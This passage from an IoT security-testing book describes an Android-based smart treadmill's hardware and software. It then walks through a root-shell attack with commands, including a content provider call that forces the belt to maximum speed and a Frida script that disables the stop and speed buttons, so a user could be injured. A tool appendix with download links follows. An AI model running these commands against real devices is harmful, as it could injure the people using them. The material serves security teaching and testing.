hardware control board that acts as an interconnection hub for the main 
components of the lower assembly. 
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Figure 15-24: A smart treadmill’s hardware design

The CPU board contains a microprocessor programmed with control 
logic. It manages and processes signals from the LCD touch screen, the 
NFC reader, the iPod docking station, a client USB port that allows users to 
connect external devices, and the built-in USB service port used to provide 
updates. The CPU board also handles the device’s network connectivity 
through its networking board. 

The main board is the interface board for all the peripheral devices, 
such as the speed and incline joysticks, emergency buttons, and health sen-
sors. The joysticks allow users to adjust the machine’s speed and elevation 
during exercise. Each time they’re moved forward or backward, they send 
a signal to the CPU board to change the speed or the elevation, depending 
on which joystick is used. The emergency stop button is a safety device that 
allows the user to stop the machine in an emergency situation. The sensors 
monitor the user’s heartbeat.

The Low Kit consists of the belt motor, the elevation motor, the 
inverter, and a limit switch. The belt motor and the elevation motor regu-
late the treadmill’s speed and incline. The inverter device supplies the 
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belt motor with voltage. Variations in this voltage can cause corresponding 
variations in the tread belt’s acceleration. The limit switch restricts the belt 
motor’s maximum speed. 

Figure 15-25 shows how the software communicates with all of these 
peripheral devices. 

Hardware abstraction
layer APK HAL

Broadcast receiver

Equipment APK USB
controller

Broadcast receiver

Other
peripherals

Other
peripherals

Installed Android
applications

Figure 15-25: Software communication with the peripheral devices

Two components control the attached peripherals: a custom Hardware 
Abstraction Layer (HAL) component and an embedded USB microcontroller. 
The HAL component is an interface implemented by the device vendor that 
allows the installed Android applications to communicate with hardware-
specific device drivers. Android apps use the HAL APIs to get services from 
hardware devices. These services control the HDMI and the USB ports, 
as well as the USB microcontroller to send commands to change the belt 
motor’s speed or the elevation motor’s incline. 

The treadmill contains a preinstalled Android app named the Hardware 
Abstraction Layer APK that uses these HAL APIs and another app named 
Equipment APK. The Equipment APK receives hardware commands from 
other installed apps through an exposed broadcast receiver and then trans-
fers them to the hardware using the Hardware Abstraction Layer APK and 
the USB microcontroller, as shown in Figure 15-25.
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The device contains a number of other preinstalled apps, such as the 
Dashboard APK, which is responsible for the user interface. These apps also 
need to control the hardware and monitor the existing equipment state. 
The current equipment state is maintained in another custom preinstalled 
Android application named the Repository APK, which is in a shared 
memory segment. A shared memory segment is an allocated area of memory 
that multiple programs or Android apps can access at the same time using 
direct read or write memory operations. The state is also accessible through 
exposed Android content providers but using the shared memory allows for 
greater performance, which the device needs for its real-time operations.

For example, each time the user presses one of the Dashboard speed 
buttons, the device sends a request to the Repository APK’s content pro-
vider to update the device’s speed. The Repository APK then updates the 
shared memory and informs the Equipment APK using an Android Intent. 
Then the Equipment APK sends the appropriate command through the 
USB controller to the appropriate peripheral, as shown in Figure 15-26.

Hardware abstraction
layer APK HAL

Broadcast receiver

Equipment APK USB 
controller

Broadcast receiver

Repository APK

Content provider

Dashboard APK

Low Kit

Belt
motor

Inverter

Shared memory Other
peripherals

Other
peripherals

Figure 15-26: Sending a command from the Dashboard APK to the hardware
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Because we’ve gained local shell access with root privileges using the 
previous attack path, we can use the Repository APK’s exposed content pro-
vider to simulate a button activity. This would resemble an action received 
from the Dashboard APK. 

Using the content update command, we can simulate the button that 
increases the treadmill’s speed: 

$ content update --uri content:// com.vendorname.android.repositoryapk.physicalkeyboard.
  AUTHORITY/item    --bind JOY_DX_UP:i:1

We follow the command with the uri parameter, which defines the 
exposed content provider, and the bind parameter, which binds a specific 
value to a column. In this case, the command performs an update request 
to the Repository APK’s exposed content provider named physicalkeyboard.
AUTHORITY/item and sets the value of the variable named JOY_DX_UP to one. 
You can identify the full name of the application, as well as the name of 
the exposed content provider and the bind parameter, by decompiling the 
app using the techniques presented in Chapter 14 and “Analyzing Android 
Applications” on page 360.

The victim is now on a remotely controlled treadmill that is accelerat-
ing to its maximum speed!

Disabling Software and Physical Buttons

To stop the device—or treadmill, in this case—the user can normally press 
one of the available dashboard screen buttons, such as the pause button,  
the restart button, the cool-down button, the stop button, or any buttons 
that control the device’s speed. These buttons are part of the pre-installed 
software that controls the device’s user interface. It’s also possible to halt  
the device using the physical joystick buttons that control the speed and 
incline or the emergency stop key, a completely independent physical but-
ton embedded in the lower part of the device hardware, as shown in 
Figure 15-27. 

Figure 15-27: Software and physical buttons that allow a user to stop the treadmill

Each time the user presses one of the buttons, the device uses the 
Android IPC. An insert, update, or delete operation takes place in the con-
tent provider part of the app that controls the device’s speed. 

We can use a simple Frida script to disable this communication. Frida 
is a dynamic tampering framework that allows the user to replace specific 
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in-memory function calls. We used it in Chapter 14 to disable an Android 
app’s root detection. In this case, we can use a similar script to replace the 
repository app’s content provider update functionality to stop receiving new 
intents from the buttons. 

Initially, we create a port forward for port 27042, which the Frida server 
will use, using the Pupy agent’s portfwd command: 

$ run portfwd -L 127.0.0.1:27042:127.0.0.1:27042

The -L parameter indicates that we want to perform a port forward 
from port 27042 of the localhost 127.0.0.1 to the remote device at the same 
port. The hosts and ports must be separated with the colon (:) character. 
Now whenever we connect to this port on our local device, a tunnel will be 
created connecting us to the same port on the target device.

Then we upload the Frida server for ARM platforms (https://github.com/
frida/frida/releases/) to the treadmill using Pupy’s upload command: 

$ run upload frida_arm /data/data/org.pupy.pupy/files/frida_arm

The upload command receives, as the first argument, the location of the 
binary that we want to upload to our device, and as the second argument, 
the location in which to place this binary on the remote device. We use our 
shell access to mark the binary as executable using the chmod utility and start 
the server:

$ chmod 777 /data/data/org.pupy.pupy/files/frida_arm
$ /data/data/org.pupy.pupy/files/frida_arm &

Then we use the following Frida script, which replaces the button func-
tionality with instructions to perform no action:

var PhysicalKeyboard = Java.use(“com.vendorname.android.repositoryapk.cp.PhysicalKeyboardCP”);1
PhysicalKeyboard.update.implementation = function(a, b, c, d){
return;
}

As mentioned earlier, the Repository APK handles the buttons’ activi-
ties. To locate the exact function that you need to replace 1, you’ll have to 
decompile the app using the techniques presented in “Analyzing Android 
Applications” on page 360.

Finally, we install the Frida framework on our system using the pip 
package manager for Python and execute the previous Frida script:

$ pip install frida-tools
$ frida -H 127.0.0.1:27042 –f com.vendorname.android.repositoryapk -l script.js

We use the -H parameter to specify the Frida server’s host and port, the 
-f parameter to specify the full name of the targeted application, and the -l 
parameter to select the script. We must provide the application’s full name 
in the command, which, once again, you can find by decompiling the app. 

https://github.com/frida/frida/releases/
https://github.com/frida/frida/releases/
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Now, even if the victim attempts to select one of the software buttons in 
the Dashboard APK or press the physical buttons that control the speed and 
incline to stop the device, they won’t succeed. Their only remaining choices 
are to locate and press the emergency stop button at the lower part of the 
device hardware or find another way to turn off the power.

Could This Vulnerability Exploitation Cause a Fatal Accident?

The chance of a user getting a serious injury as a result of the attacks 
we’ve described isn’t negligible. The device reached a speed of 27 km/h, 
or 16.7 mph. Most commercial treadmills can reach speeds between 12 
and 14 mph; the highest-end models top out at 25 mph. Let’s compare this 
speed with the men’s 100 meters final race at the 2009 World Athletics 
Championships held at the Olympic Stadium in Berlin. Usain Bolt finished 
in a world record-breaking time of 9.58 seconds and was clocked at 44.72 
km/h, or 27.8 mph! Unless you’re as fast as Bolt, you probably won’t be able 
to outrun the treadmill.

A number of real-life incidents verify the danger of a smart treadmill 
attack. Dave Goldberg, the SurveyMonkey CEO, lost his life after hitting his 
head in a treadmill accident. (According to the autopsy, a heart arrhythmia 
might have also contributed to his death.) In addition, between 1997 and 
2014, an estimated 4,929 patients went to US emergency rooms with head 
injuries they sustained while exercising on treadmills. 

Conclusion
In this chapter, we explored how an adversary could tamper with popular 
IoT devices found in modern smart homes and businesses. You learned 
how to circumvent modern RFID door locks and then jam wireless alarm 
systems to avoid detection. You played back security camera feed obtained 
from network traffic. Then we walked through how you might take over 
control of a smart treadmill to cause the victim potentially fatal injuries.

You could use the case studies provided to walk through a holistic smart 
home assessment or treat them as a testament to the underlying impact that 
vulnerable smart home IoT devices might introduce. 

Now go explore your own smart home!



This appendix lists popular software and 
hardware tools for IoT hacking. It includes 

the tools discussed in this book, as well as 
others that we didn’t cover but still find useful. 

Although this isn’t a complete catalog of the many 
options you could include in your IoT hacking arsenal, 
it can act as a guide for getting started quick. We’ve  
listed the tools in alphabetical order. For easy reference, check the “Tools by 
Chapter” section on page 414 for a table that maps the tools with the chap-
ters in which we used them.

Adafruit FT232H Breakout
Adafruit FT232H Breakout is probably the smallest and cheapest device for 
interfacing with I2C, SPI, JTAG, and UART. The main downside to it is that 
the headers don’t come pre-soldered. It’s based on FT232H, which is the 
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chip that Attify Badge, the Shikra, and Bus Blaster use (although the Bus 
Blaster uses the dual channel version, FT2232H). You can get it at https://
www.adafruit.com/product/2264. 

Aircrack-ng
Aircrack-ng is an open source suite of command line tools for Wi-Fi security 
testing. It supports packet capturing, replay attacks, and deauthentication 
attacks, as well as WEP and WPA PSK cracking. We used various programs 
from the Aircrack-ng tool set extensively in Chapter 12 and Chapter 15. You 
can find all the tools at https://www.aircrack-ng.org/.

Alfa Atheros AWUS036NHA 
Alfa Atheros AWUS036NHA is a wireless (802.11 b/g/n) USB adapter that 
we used in Chapter 12 for Wi-Fi attacks. Atheros chipsets are known for sup-
porting AP monitor mode and having packet injection capabilities, both of 
which are necessary for conducting most Wi-Fi attacks. You can learn more 
about it at https://www.alfa.com.tw/products_detail/7.htm.

Android Debug Bridge
Android Debug Bridge (adb) is a command line tool for communicating 
with Android devices. We used it extensively in Chapter 14 to interact with 
vulnerable Android apps. Learn all about it at https://developer.android.com/
studio/command-line/adb.

Apktool
Apktool is a tool used for static analysis of Android binary files. We show-
cased it in Chapter 14 to examine an APK file. Download it from https://
ibotpeaches.github.io/Apktool/.

Arduino
Arduino is an inexpensive, easy-to-use, open source electronics platform 
that lets you program microcontrollers using the Arduino programming 
language. We used Arduino in Chapter 7 to code a vulnerable program 
for the black pill microcontroller. Chapter 8 uses an Arduino UNO as the 
controller on an I2C bus. In Chapter 13, we used Arduino to program the 
Heltec LoRa 32 development board as a LoRa sender. Arduino’s website is 
at https://www.arduino.cc/.

https://www.adafruit.com/product/2264
https://www.adafruit.com/product/2264
 https://www.aircrack-ng.org/.
https://www.alfa.com.tw/products_detail/7.htm
https://developer.android.com/studio/command-line/adb
https://developer.android.com/studio/command-line/adb
https://ibotpeaches.github.io/Apktool/
https://ibotpeaches.github.io/Apktool/
https://www.arduino.cc/
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Attify Badge
Attify Badge is a hardware tool that can communicate with UART, 1-WIRE, 
JTAG, SPI, and I2C. It supports 3.3V and 5V currents. It’s based on the 
FT232H, the chip used in the Adafruit FT232H Breakout, the Shikra, 
and Bus Blaster (although Bus Blaster uses the dual channel version, 
FT2232H). You can find the badge with pre-soldered headers at https://
www.attify-store.com/products/attify-badge-uart-jtag-spi-i2c-pre-soldered-headers.

Beagle I2C/SPI Protocol Analyzer
The Beagle I2C/SPI Protocol Analyzer is a hardware tool for high perfor-
mance monitoring of I2C and SPI buses. You can buy it at https://www 
.totalphase.com/products/beagle-i2cspi/.

Bettercap
Bettercap is an open source multi-tool written in Go. You can use it to 
perform reconnaissance for Wi-Fi, BLE, and wireless HID devices, as well 
as Ethernet man-in-the-middle attacks. We used it for BLE hacking in 
Chapter 11. Download it at https://www.bettercap.org/.

BinaryCookieReader
BinaryCookieReader is a tool for decoding binary cookies from iOS apps. 
We used it in Chapter 14 for that reason. Find it at https://github.com/as0ler/
BinaryCookieReader/.

Binwalk
Binwalk is a tool for analyzing and extracting firmware. It can identify files 
and code embedded in firmware images using custom signatures for files 
commonly found in those images (such as archives, headers, bootloaders, 
Linux kernels, and filesystems). We used Binwalk to analyze the firmware 
of a Netgear D600 router in Chapter 9 and to extract the filesystem of an IP 
webcam’s firmware in Chapter 4. You can download it at https://github.com/
ReFirmLabs/binwalk/.

BladeRF
BladeRF is an SDR platform, similar to HackRF One, LimeSDR, and USRP. 
There are two versions of it. The newer and more expensive bladeRF 2.0 
micro supports a wider frequency range of 47 MHz to 6 GHz. You can learn 
more about bladeRF products at https://www.nuand.com/.

https://www.attify-store.com/products/attify-badge-uart-jtag-spi-i2c-pre-soldered-headers
https://www.attify-store.com/products/attify-badge-uart-jtag-spi-i2c-pre-soldered-headers
https://www.totalphase.com/products/beagle-i2cspi/
https://www.totalphase.com/products/beagle-i2cspi/
https://www.bettercap.org/
https://github.com/as0ler/BinaryCookieReader/
https://github.com/as0ler/BinaryCookieReader/
https://github.com/ReFirmLabs/binwalk/
https://github.com/ReFirmLabs/binwalk/
https://www.nuand.com/.
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BlinkM LED
BlinkM LED is a full color RGB LED that can communicate over I2C. 
Chapter 8 uses BlinkM LEDs as peripherals on an I2C bus. You can find 
the product’s datasheet or order one from https://www.sparkfun.com/
products/8579/.

Burp Suite
Burp Suite is the standard tool used for the security testing of web applica-
tions. It includes a proxy server, web vulnerability scanner, spider, and other 
advanced features, all of which you can expand with Burp extensions. You 
can download the Community Edition free of charge from https://portswigger 
.net/burp/.

Bus Blaster
Bus Blaster is a high-speed JTAG debugger compatible with OpenOCD. 
It’s based on the dual-channel FT2232H chip. We used Bus Blaster 
in Chapter 7 to interface with JTAG on an STM32F103 target device. 
Download it from http://dangerousprototypes.com/docs/Bus_Blaster.

Bus Pirate
Bus Pirate is an open source multi-tool for programming, analyzing, and 
debugging microcontrollers. It supports bus modes, such as bitbang, SPI, 
I2C, UART, 1-Wire, raw-wire, and even JTAG with special firmware. You can 
find more about it at http://dangerousprototypes.com/docs/Bus_Pirate. 

CatWAN USB Stick
CatWAN USB Stick is an open source USB stick designed as a LoRa/
LoRaWAN transceiver. We used it in Chapter 13 as a sniffer to capture 
LoRa traffic between the Heltec LoRa 32 and the LoStik. You can buy it 
at https://electroniccats.com/store/catwan-usb-stick/.

ChipWhisperer
The ChipWhisperer project is a tool for conducting side channel power 
analysis and glitching attacks against hardware targets. It includes open 
source hardware, firmware, and software and has a variety of boards and 
example target devices for practicing. You can buy it at https://www.newae.com/
chipwhisperer/.

https://www.sparkfun.com/products/8579/
https://www.sparkfun.com/products/8579/
https://portswigger.net/burp/
https://portswigger.net/burp/
http://dangerousprototypes.com/docs/Bus_Blaster
http://dangerousprototypes.com/docs/Bus_Pirate
https://electroniccats.com/store/catwan-usb-stick/
https://www.newae.com/chipwhisperer/
https://www.newae.com/chipwhisperer/
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CircuitPython
CircuitPython is an easy, open source language based on MicroPython, 
a version of Python optimized to run on microcontrollers. We used 
CircuitPython in Chapter 13 to program the CatWAN USB stick as a LoRa 
sniffer. Its website is at https://circuitpython.org/.

Clutch
Clutch is a tool for decrypting IPAs from an iOS device’s memory. We briefly 
mentioned it in Chapter 14. Get it at https://github.com/KJCracks/Clutch/.

CubicSDR
CubicSDR is a cross-platform SDR application. We used it in Chapter 15 to 
convert the radio spectrum into a digital stream that we could analyze. You 
can find it at https://github.com/cjcliffe/CubicSDR/.

Dex2jar
Dex2jar is a tool for converting DEX files, which are part of an Android 
Package, to JAR files, which are more readable. We used it in Chapter 14 to 
decompile an APK. You can download it at https://github.com/pxb1988/dex2jar/.

Drozer
Drozer is a security testing framework for Android. We used it in Chapter 14 
to perform dynamic analysis on a vulnerable Android app. You can get it at 
https://github.com/FSecureLABS/drozer/.

FIRMADYNE
FIRMADYNE is a tool for emulating and dynamically analyzing Linux-based 
embedded firmware. We showcased FIRMADYNE in Chapter 9 to emulate 
the firmware of a Netgear D600 router. You can find the source code and 
documentation for FIRMADYNE at https://github.com/firmadyne/firmadyne/.

Firmwalker
Firmwalker searches the extracted or mounted firmware filesystem for inter-
esting data, such as passwords, cryptographic keys, and more. We showcased 
Firmwalker in Chapter 9 against the Netgear D600 firmware. You can find it 
at https://github.com/craigz28/firmwalker/.

https://circuitpython.org/.
https://github.com/KJCracks/Clutch/
https://github.com/cjcliffe/CubicSDR/
https://github.com/pxb1988/dex2jar/
https://github.com/FSecureLABS/drozer/
https://github.com/firmadyne/firmadyne/
https://github.com/craigz28/firmwalker/
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Firmware Analysis and Comparison Tool (FACT)
FACT is a tool for automating the firmware analysis process by unpacking 
firmware files and, among other things, searching for sensitive information 
such as credentials, cryptographic material, and more. You can find it at 
https://github.com/fkie-cad/FACT_core/.

Frida
Frida is a dynamic binary instrumentation framework used for analyzing 
running processes and generating dynamic hooks. We used it in Chapter 14 
to avoid jailbreak detection in an iOS app and to avoid root detection in an 
Android app. We also used it in Chapter 15 to hack the buttons that con-
trolled a smart treadmill. You can learn all about it at https://frida.re/.

FTDI FT232RL
FTDI FT232RL is a USB-to-serial UART adapter. We used it in Chapter 7 to 
interface with the UART ports on the black pill microcontroller. We used 
the one at https://www.amazon.com/Adapter-Serial-Converter-Development-Projects/
dp/B075N82CDL/, but there are cheaper alternatives, too.

GATTTool 
Generic Attribute Profile Tool (GATTTool) is used for discovering, reading, 
and writing BLE attributes. We used it extensively in Chapter 11 to demon-
strate various BLE attacks. GATTTool is part of BlueZ, which you’ll find at 
http://www.bluez.org/.

GDB
The GDB is a portable, mature, feature-complete debugger that supports a 
wide array of programming languages. We used it in Chapter 7 along with 
OpenOCD to exploit a device through SWD. You can find more about it at 
https://www.gnu.org/software/gdb/.

Ghidra
Ghidra is a free and open source reverse-engineering tool developed by the 
National Security Agency (NSA). It’s often compared with IDA Pro, which 
is closed source and costly but has features that Ghidra doesn’t. Download 
Ghidra at https://github.com/NationalSecurityAgency/ghidra/.

https://github.com/fkie-cad/FACT_core/
https://frida.re/.
https://www.amazon.com/Adapter-Serial-Converter-Development-Projects/dp/B075N82CDL/
https://www.amazon.com/Adapter-Serial-Converter-Development-Projects/dp/B075N82CDL/
http://www.bluez.org/.
https://www.gnu.org/software/gdb/.
https://github.com/NationalSecurityAgency/ghidra/
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HackRF One
HackRF One is a popular, open source SDR hardware platform. It sup-
ports radio signals from 1 MHz to 6 GHz. You can use it as a stand-alone 
tool or as a USB 2.0 peripheral. Similar tools include bladeRF, LimeSDR, 
and USRP. HackRF supports only half-duplex communication, whereas the 
other tools support full-duplex communication. You can learn more about 
it from Great Scott Gadgets at https://greatscottgadgets.com/hackrf/one/.

Hashcat
Hashcat is a fast password recovery tool that can leverage CPUs and GPUs 
to accelerate its cracking speed. We used it in Chapter 12 to recover a WPA2 
PSK. Its website is at https://hashcat.net/hashcat/.

Hcxdumptool
Hcxdumptool is a tool for capturing packets from wireless devices. We used 
it in Chapter 12 to capture Wi-Fi traffic, which we then analyzed to crack 
a WPA2 PSK using the PMKID attack. Get it from https://github.com/ZerBea/
hcxdumptool/.

Hcxtools
Hcxtools is a suite of tools for converting packets from captures to formats 
compatible with tools like Hashcat or John the Ripper for cracking. We 
used it in Chapter 12 to crack a WPA2 PSK using the PMKID attack. Get it 
from https://github.com/ZerBea/hcxtools/.

Heltec LoRa 32
Heltec LoRa 32 is a low-cost ESP32-based development board for LoRa. 
We used it in Chapter 13 to send LoRa radio traffic. You can get it at 
https://heltec.org/project/wifi-lora-32/.

	Hydrabus
Hydrabus is another open source hardware tool that supports modes such 
as raw-wire, I2C, SPI, JTAG, CAN, PIN, NAND Flash, and SMARTCARD. It 
is used for debugging, analyzing, and attacking devices over the supported 
protocols. You’ll find Hydrabus at https://hydrabus.com/. 

https://greatscottgadgets.com/hackrf/one/.
https://hashcat.net/hashcat/.
https://github.com/ZerBea/hcxdumptool/
https://github.com/ZerBea/hcxdumptool/
https://github.com/ZerBea/hcxtools/
https://heltec.org/project/wifi-lora-32/
https://hydrabus.com/
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IDA Pro
IDA Pro is the most popular disassembler for binary analysis and reverse 
engineering. The commercial version is at http://www.hex-rays.com/, and a 
freeware version is available at http://www.hex-rays.com/products/ida/support/
download_freeware.shtml. For a free and open source alternative to IDA Pro, 
take a look at Ghidra. 

JADX
JADX is a DEX to Java decompiler. It lets you easily view Java source code 
from Android DEX and APK files. We showcased it briefly in Chapter 14. 
You can download it at https://github.com/skylot/jadx/.

JTAGulator
JTAGulator is an open source hardware tool that assists in identifying on-
chip debugging (OCD) interfaces from test points, vias, or component pads 
on a target device. We mentioned it in Chapter 7. You can find more informa-
tion about how to use and purchase JTAGulator at http://www.jtagulator.com/.

John the Ripper
John the Ripper is the most popular free and open source cross-platform 
password cracker. It supports dictionary attacks and a brute-force mode 
against a wide variety of encrypted password formats. We use it often to 
crack Unix shadow hashes in IoT devices, as demonstrated in Chapter 9. Its 
website is at https://www.openwall.com/john/. 

LimeSDR
LimeSDR is a low-cost, open source SDR platform that integrates with 
Snappy Ubuntu Core, allowing you to download and use existing LimeSDR 
apps. Its frequency range is 100 kHz to 3.8 GHz. You can get it at https://
www.crowdsupply.com/lime-micro/limesdr/.

LLDB
LLDB is a modern, open source debugger and is part of the LLVM project. 
It specializes in debugging C, Objective-C, and C++ programs. We covered it 
in Chapter 14 to exploit the iGoat mobile app. Find it at https://lldb.llvm.org/.

http://www.hex-rays.com/
http://www.hex-rays.com/products/ida/support/download_freeware.shtml
http://www.hex-rays.com/products/ida/support/download_freeware.shtml
https://github.com/skylot/jadx/
http://www.jtagulator.com/
https://www.openwall.com/john/
https://www.crowdsupply.com/lime-micro/limesdr/
https://www.crowdsupply.com/lime-micro/limesdr/
https://lldb.llvm.org/
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LoStik
LoStik is an open source USB LoRa device. We used it in Chapter 13 as the 
receiver of LoRa radio traffic. You can get it at https://ronoth.com/lostik/.

Miranda
Miranda is a tool for attacking UPnP devices. We used Miranda in 
Chapter 6 to punch a hole through the firewall of a vulnerable UPnP-
enabled OpenWrt router. Miranda resides at https://code.google.com/archive/p/
mirandaupnptool/.

Mobile Security Framework (MobSF)
MobSF is a tool for performing both static and dynamic analysis of mobile app 
binaries. Get it at https://github.com/MobSF/Mobile-Security-Framework-MobSF/.

Ncrack
Ncrack is a high-speed network authentication cracking tool developed under 
the Nmap suite of tools. We discussed Ncrack extensively in Chapter 4, where 
we demonstrated how to write a module for the MQTT protocol. Ncrack is 
hosted at https://nmap.org/ncrack/.

Nmap 
Nmap is probably the most popular free and open source tool for network 
discovery and security auditing. The Nmap suite includes Zenmap (a GUI for 
Nmap), Ncat (a network debugging tool and modern implementation of net-
cat), Nping (a packet generation tool, similar to Hping), Ndiff (for comparing 
scan results), the Nmap Scripting Engine (NSE; for extending Nmap with 
Lua scripts), Npcap (a packet sniffing library based on WinPcap/Libpcap), 
and Ncrack (a network authentication cracking tool). You’ll find the Nmap 
suite of tools at https://nmap.org/.

OpenOCD
OpenOCD is a free and open source tool for debugging ARM, MIPS, and 
RISC-V systems through JTAG and SWD. We used OpenOCD in Chapter 7 
to interface with our target device (the black pill) through SWD and exploit 
it with the help of GDB. You can learn more about it at http://openocd.org/.

https://ronoth.com/lostik/
https://code.google.com/archive/p/mirandaupnptool/
https://code.google.com/archive/p/mirandaupnptool/
https://github.com/MobSF/Mobile-Security-Framework-MobSF/
https://nmap.org/ncrack/
https://nmap.org/
http://openocd.org/
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Otool
Otool is the object-file-displaying tool for macOS environments. We briefly 
used it in Chapter 14. It’s part of the Xcode package, which you can access 
at https://developer.apple.com/downloads/index.action. 

OWASP Zed Attack Proxy
OWASP Zed Attack Proxy (ZAP) is an open source, web application security 
scanner that the OWASP community maintains. It’s a completely free alter-
native to Burp Suite, although it doesn’t have the same number of advanced 
features. You can find it at https://www.zaproxy.org/.

Pholus
Pholus is an mDNS and DNS-SD security assessment tool, which we demon-
strated in Chapter 6. Download it from https://github.com/aatlasis/Pholus.

Plutil
Plutil is a tool for converting property list (.plist) files from one format to 
another. We used it in Chapter 14 to reveal credentials from a vulnerable 
iOS app. Plutil is built for macOS environments. 

Proxmark3
Proxmark3 is a general-purpose RFID tool with a powerful FPGA microcon-
troller that is capable of reading and emulating low-frequency and high-fre-
quency tags. The attacks against RFID and NFC in Chapter 10 were heavily 
based on the Proxmark3 hardware and software. We also used the tool in 
Chapter 15 to clone a keylock system’s RFID tag. You can learn about it at 
https://github.com/Proxmark/proxmark3/wiki/.

Pupy
Pupy is an open source, cross-platform, post-exploitation tool written in 
Python. We used it in Chapter 15 to set up a remote shell on the Android-
based treadmill. You can get it at https://github.com/n1nj4sec/pupy/.

Qark
Qark is a tool designed to scan Android applications for vulnerabilities. We 
briefly used it in Chapter 14. Download it from https://github.com/linkedin/qark/.

https://developer.apple.com/downloads/index.action
https://www.zaproxy.org/
https://github.com/aatlasis/Pholus
https://github.com/Proxmark/proxmark3/wiki/
https://github.com/n1nj4sec/pupy/
https://github.com/linkedin/qark/
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QEMU
QEMU is an open source emulator for hardware virtualization, featuring 
full system and user mode emulation. In IoT hacking, it’s useful for emulat-
ing firmware binaries. Firmware analysis tools, such as FIRMADYNE, cov-
ered in Chapter 9, rely on QEMU. Its website is at https://www.qemu.org/.

Radare2
Radare2 is a full-featured, reverse-engineering and binary analysis frame-
work. We used it in Chapter 14 to analyze an iOS binary. You can find it at 
https://rada.re/n/.

Reaver
Reaver is a tool for brute forcing PINs against WPS. We demon-
strated Reaver in Chapter 12. You can find at https://github.com/t6x/
reaver-wps-fork-t6x/.

RfCat
RfCat is an open source firmware for radio dongles that allows you to 
control the wireless transceiver with Python. Get it at https://github.com/
atlas0fd00m/rfcat/.

RFQuack
RFQuack is a library firmware for RF manipulation that supports various 
radio chips (CC1101, nRF24, and RFM69HW). You can get it at https://
github.com/trendmicro/RFQuack/. 

Rpitx
Rpitx is open source software that you can use to convert a Raspberry 
Pi into a 5 kHz to 1500 MHz radio frequency transmitter. We used it in 
Chapter 15 to jam a wireless alarm. Get it from https://github.com/F5OEO/
rpitx/.

RTL-SDR DVB-T Dongle
RTL-SDR DVB-T dongle is a low-cost SDR equipped with a Realtek RTL2832U 
chipset that you can use to receive (but not transmit) radio signals. We used 
it in Chapter 15 to capture the radio stream of the wireless alarm that we 
later jammed. You can find out more about RTL-SDR dongles at https://www 
.rtl-sdr.com/.

https://www.qemu.org/
https://rada.re/n/
https://github.com/t6x/reaver-wps-fork-t6x/
https://github.com/t6x/reaver-wps-fork-t6x/
https://github.com/atlas0fd00m/rfcat/
https://github.com/atlas0fd00m/rfcat/
https://github.com/trendmicro/RFQuack/
https://github.com/trendmicro/RFQuack/
https://github.com/F5OEO/rpitx/
https://github.com/F5OEO/rpitx/
https://www.rtl-sdr.com/
https://www.rtl-sdr.com/
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RTP Tools
RTP Tools is a suite of programs for processing RTP data. We used it in 
Chapter 15 for playing back an IP camera’s video feed streamed over the 
network. You’ll find it at https://github.com/irtlab/rtptools/.

Scapy
Scapy is one of the most popular packet-crafting tools. It’s written in Python 
and can decode or forge packets for a wide range of network protocols. 
We used it in Chapter 4 to create custom ICMP packets to help in a VLAN-
hopping attack. You can get it at https://scapy.net/.

Shikra
Shikra is a hardware hacking tool that claims to overcome the shortcom-
ings of Bus Pirate, allowing not only debugging, but also attacks such as bit 
banging or fuzzing. It supports JTAG, UART, SPI, I2C, and GPIO. It’s based 
on FT232H, the chip used in Attify Badge, Adafruit FT232H Breakout, and 
Bus Blaster (Bus Blaster uses the dual channel version FT2232H). You can 
get it at https://int3.cc/products/the-shikra/. 

STM32F103C8T6 (Black Pill)
The black pill is a widely popular and inexpensive microcontroller with 
an ARM Cortex-M3 32-bit RISC core. We used the black pill in Chapter 7 
as a target device for JTAG/SWD exploitation. You can buy the black pill 
from various places online, including Amazon at https://www.amazon.com/
RobotDyn-STM32F103C8T6-Cortex-M3-Development-bootloader/dp/B077SRGL47/. 

S3Scanner
S3Scanner is a tool for enumerating a target’s Amazon S3 buckets. We used 
it in Chapter 9 to find Netgear S3 buckets. Get it at https://github.com/sa7mon/
S3Scanner/.

Ubertooth One
Ubertooth One is a popular open source hardware and software tool  
for Bluetooth and BLE hacking. You can find more about it at https://
greatscottgadgets.com/ubertoothone/.

https://github.com/irtlab/rtptools/
https://scapy.net/
https://int3.cc/products/the-shikra/
https://www.amazon.com/RobotDyn-STM32F103C8T6-Cortex-M3-Development-bootloader/dp/B077SRGL47
https://www.amazon.com/RobotDyn-STM32F103C8T6-Cortex-M3-Development-bootloader/dp/B077SRGL47
https://github.com/sa7mon/S3Scanner/
https://github.com/sa7mon/S3Scanner/
https://greatscottgadgets.com/ubertoothone/
https://greatscottgadgets.com/ubertoothone/
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Umap 
Umap is a tool for attacking UPnP remotely through the WAN interface. We 
described and used Umap in Chapter 6. You can download it from https://
toor.do/umap-0.8.tar.gz. 

USRP
USRP is a family of SDR platforms with a wide range of applications. You 
can find more about them at https://www.ettus.com/.

VoIP Hopper
VoIP Hopper is an open source tool for conducting VLAN hopping security 
tests. VoIP Hopper can imitate the behavior of a VoIP phone in Cisco, Avaya, 
Nortel, and Alcatel-Lucent environments. We used it in Chapter 4 to imitate 
Cisco’s CDP protocol. You can download it at http://voiphopper.sourceforge.net/.

Wifiphisher
Wifiphisher is a rogue Access Point framework for conducting Wi-Fi asso-
ciation attacks. We used Wifiphisher in Chapter 12 to conduct the Known 
Beacons attack against a TP Link access point and a victim mobile device. 
You can download Wifiphisher at https://github.com/wifiphisher/wifiphisher/.

Wireshark
Wireshark is an open source network packet analyzer and the most popular 
free tool for packet capturing. We used and discussed Wireshark extensively 
throughout the book. You can download it from https://www.wireshark.org/.

Yersinia
Yersinia is an open source tool for performing Layer 2 attacks. We used Yersinia 
in Chapter 4 to send DTP packets and conduct a switch spoofing attack. You 
can find it at https://github.com/tomac/yersinia/. 

https://toor.do/umap-0.8.tar.gz
https://toor.do/umap-0.8.tar.gz
https://www.ettus.com/
http://voiphopper.sourceforge.net/
https://github.com/wifiphisher/wifiphisher/
https://www.wireshark.org/
https://github.com/tomac/yersinia/
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Tools by Chapter

Chapter Tools

1: The IoT Security World None

2: Threat Modeling None

3: A Security Testing Methodology None

4: Network Assessments Binwalk, Nmap, Ncrack, Scapy, VoIP Hopper, 
Yersinia

5: Analyzing Network Protocols Wireshark, Nmap / NSE 

6: Exploiting Zero-Configuration Networking Wireshark, Miranda, Umap, Pholus, Python

7: UART, JTAG, and SWD Exploitation Arduino, GDB, FTDI FT232RL, JTAGulator, 
OpenOCD, ST-Link v2 programmer, 
STM32F103C8T6

8: SPI and I2C Bus Pirate, Arduino UNO, BlinkM LED

